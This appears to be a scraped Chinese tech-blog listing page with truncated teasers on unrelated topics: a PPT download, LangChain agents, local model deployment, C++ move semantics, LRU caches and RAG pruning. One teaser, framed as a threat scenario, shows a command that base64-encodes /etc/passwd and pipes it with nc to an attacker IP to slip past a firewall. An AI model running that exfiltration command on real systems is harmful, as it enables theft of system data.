篇幅所限，本文只提供部分资料内容，完整资料请看下面链接 （85页PPT）以人为本创新驱动构建未来校园智慧后勤云平台.pptx_PPT格式医疗信息化方案资源-CSDN下载 资料解读：以人为本创新驱动构建未来校园智慧后勤云平台 详…

任务规划文件系统访问子agent委托 现如今，Agent 所需要执行的任务长度每几个月翻一番，长周期任务通常涉及数十次工具调用，这会带来成本和可靠性方面的问题。 那么，要如何解决？ deepagents 是 LangChain 推出的开源框…

“ 模型本地部署是运维人员的基本技能，也是开发人员的基本技能。” 在大模型应用中，数据安全问题是很多企业关注的重点，特别是政务，金融，医疗等领域，对数据安全性有着更高的要求。 因此，这时使…

威胁场景 假设攻击者控制的Kali系统被入侵，需要通过加密方式传输敏感数据以避免被防火墙拦截。 Base64文本传输 场景1：Linux到Windows 目标机器（Linux）： cat /etc/passwd | base64 | nc -nv [黑客IP] 3333 -q 1攻击者&…

嵌入式现代C&#xff1a;移动语义不是玄学&#xff0c;是资源转移的工程实践 假设你在写一个USB数据传输层&#xff0c;需要把一个4KB的DMA缓冲区从接收队列传递到处理线程。你可能会这样写&#xff1a; class DMABuffer {std::array<uint8_t, 4096> data;size_t length;…

场景想象&#xff1a; 你有一个书架&#xff08;缓存&#xff09;&#xff0c;容量有限&#xff08;比如只能放 3 本书&#xff09;。 规则是 “最近最少使用 (Least Recently Used)” 淘汰&#xff1a; 读取&#xff1a;如果你读了一本书&#xff0c;它就变得“新鲜”了&…

“ 大模型的能力有限&#xff0c;因此在智能体处理复杂任务时&#xff0c;我们需要通过提示词告诉模型复杂任务的处理方法。” 最近在研究模型部署和Langchain新版本框架时&#xff0c;突然想到一个问题&#xff0c;就是ReAct Agent智能体问题。 ReAct Agent智能体的运行原理…

Context Pruning如何结合rerank&#xff0c;优化RAG上下文&#xff1f; 现如今&#xff0c;LLM的上下文窗口长度正在经历爆发式增长。 翻开LLM Leaderboard&#xff0c;可以发现顶级模型的上下文长度已经陆续突破了1M tokens&#xff0c;并且这个数字还在不断刷新。 但问题也…